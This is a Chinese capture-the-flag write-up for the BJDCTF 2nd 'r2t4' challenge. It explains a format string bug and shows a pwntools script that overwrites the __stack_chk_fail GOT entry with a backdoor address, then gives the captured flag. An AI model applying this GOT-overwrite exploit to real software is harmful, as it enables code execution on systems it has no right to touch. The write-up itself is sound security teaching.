【BJDCTF 2nd】r2t4
收获
- 存在 Canary 保护,只能使用一次格式化字符串漏洞,但没有开 PIE,因此想到劫持
__stack_chk_fail
的 GOT 表地址为后门函数的地址
思路
查看保护机制:
尝试运行,明显存在溢出:
IDA 下分析:
明显 buf
处存在溢出,且 printf(buf)
存在格式化字符串漏洞
存在一个后门函数 backdoor()
:
但这里 buf
溢出的长度有限,只能刚好覆盖返回地址
考虑到 Partial RELRO
,并且存在格式化字符串漏洞,且只能使用一次格式化字符串漏洞
因此尝试劫持 __stack_chk_fail
函数的 GOT 表地址为后门函数 backdoor()
的地址
由于是 64 位程序,根据栈的布局可知,输入的格式化字符串偏移为 6
如果对格式化字符串漏洞不熟悉的话,可以看看本站《格式化字符串漏洞与利用》一文
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./r2t4")
libc = ELF("./libc-2.29.so")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./r2t4")
else:
# 远程程序的 IP 和端口号
io = remote("node5.buuoj.cn", 28170)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
backdoor_addr = elf.symbols["backdoor"]
__stack_chk_fail_got_addr = elf.got["__stack_chk_fail"]
payload = fmtstr_payload(6, {__stack_chk_fail_got_addr: backdoor_addr})
io.sendline(payload)
# 与远程交互
io.interactive()
结果
flag{90b19213-0fe1-4802-a73f-7e4f38962e88}
评论